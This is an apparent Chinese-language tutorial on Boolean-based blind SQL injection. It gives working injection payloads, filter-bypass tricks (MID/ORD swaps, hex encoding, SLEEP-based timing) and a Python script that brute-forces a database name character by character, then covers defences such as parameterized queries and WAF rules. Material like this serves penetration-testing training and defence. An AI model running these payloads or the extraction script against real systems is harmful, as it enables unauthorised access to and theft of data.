目录
一、布尔注入的原理与核心逻辑
二、布尔注入的实战步骤
三、关键函数与绕过技巧
四、实战案例:获取数据库名称
五、防御策略与最佳实践
六、总结
一、布尔注入的原理与核心逻辑
布尔注入(Boolean-Based Blind SQL Injection)是一种通过构造特定SQL语句,利用应用程序对真(True)与假(False)的响应差异来推断数据库信息的攻击技术。其核心在于:
- 逻辑条件构造:通过
AND或OR连接布尔表达式(如1=1或1=2),触发不同的页面状态。 - 响应差异判断:若条件为真,页面正常显示(如返回数据);若为假,页面异常(如无数据或错误提示)。
 - 信息逐位推断:结合字符串截取和ASCII码转换函数,通过二分法或遍历法猜测数据库的字符内容。
 
示例:
 当注入' AND 1=1 --时页面正常,而' AND 1=2 --时页面异常,即可确认存在布尔注入漏洞。
二、布尔注入的实战步骤
-  
确定注入点
- 测试参数(如URL中的
id或表单字段)是否存在可注入性,例如:?id=1' AND 1=1 -- (正常) ?id=1' AND 1=2 -- (异常) - 若响应状态差异明显,则可能存在布尔注入漏洞。
 
 - 测试参数(如URL中的
 -  
验证布尔注入可行性
- 构造逻辑条件测试响应一致性,例如: 
' AND (SELECT 1)=1 -- (正常) ' AND (SELECT 1)=2 -- (异常) - 确认后即可进入数据提取阶段。
 
 - 构造逻辑条件测试响应一致性,例如: 
 -  
数据提取:长度与字符猜测
- 长度判断: 
' AND LENGTH(database())=8 -- (若正常则库名长度为8)[10](@ref) - 逐字符猜测: 
' AND ASCII(SUBSTRING(database(),1,1))=116 -- (ASCII 116对应字符't')[5,10](@ref) - 自动化工具辅助: 
- 使用
sqlmap --technique=B自动化探测; - 利用Burp Suite Intruder进行批量字符遍历。
 
 - 使用
 
 - 长度判断: 
 
三、关键函数与绕过技巧
-  
常用函数
SUBSTRING(str, pos, len):截取字符串(如SUBSTRING(database(),1,1))。ASCII(char):获取字符的ASCII码值(如ASCII('a')=97)。LENGTH(str):判断字段长度(如LENGTH(user())=5)。
 -  
绕过过滤的技巧
- 使用
MID替代SUBSTRING,或ORD替代ASCII。 - 十六进制编码绕过关键词检测(如
SUBSTR%69%6E%67)。 - 时间盲注结合布尔条件(如
AND IF(1=1,SLEEP(5),0))。 
 - 使用
 
四、实战案例:获取数据库名称
-  
步骤拆解
- 判断长度: 
/page.php?id=1' AND LENGTH(DATABASE())=4 -- (若正常,则库名长度4)[10](@ref) - 逐字符猜测: 
/page.php?id=1' AND ASCII(SUBSTRING(DATABASE(),1,1))=116 -- (字符't')[10](@ref) - 循环遍历:依次修改截取位置(如
SUBSTRING(DATABASE(),2,1))直到获取完整名称(如test)。 
 - 判断长度: 
 -  
Python自动化脚本示例
import requests url = "http://example.com/page.php?id=1' AND ASCII(SUBSTRING(DATABASE(),{},1))={} --" result = "" for i in range(1, 5):for code in range(32, 127):payload = url.format(i, code)r = requests.get(payload)if "正常页面特征" in r.text:result += chr(code)break print("Database:", result) # 输出:test 
五、防御策略与最佳实践
-  
输入过滤与验证
- 严格校验参数类型(如数字型参数仅允许数字)。
 - 过滤敏感字符(如单引号
'、注释符--)。 
 -  
参数化查询
- 使用预编译语句(如PDO或MyBatis),避免SQL拼接: 
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$username]); 
 - 使用预编译语句(如PDO或MyBatis),避免SQL拼接: 
 -  
最小权限原则
- 数据库账户仅授予必要权限(如禁止
xp_cmdshell)。 
 - 数据库账户仅授予必要权限(如禁止
 -  
错误信息隐藏
- 禁止返回详细数据库错误(如屏蔽
mysql_error())。 
 - 禁止返回详细数据库错误(如屏蔽
 -  
Web应用防火墙(WAF)
- 部署规则拦截常见注入特征(如
AND 1=1、SLEEP(5))。 
 - 部署规则拦截常见注入特征(如
 
六、总结
布尔注入是一种隐蔽性强、危害大的攻击方式,其核心在于利用逻辑条件与响应差异逐步窃取数据。防御需从代码规范(如参数化查询)、权限控制、错误处理等多维度构建安全防线。对于渗透测试人员,掌握自动化工具(如sqlmap)与手动脚本的结合使用,可大幅提升攻击效率。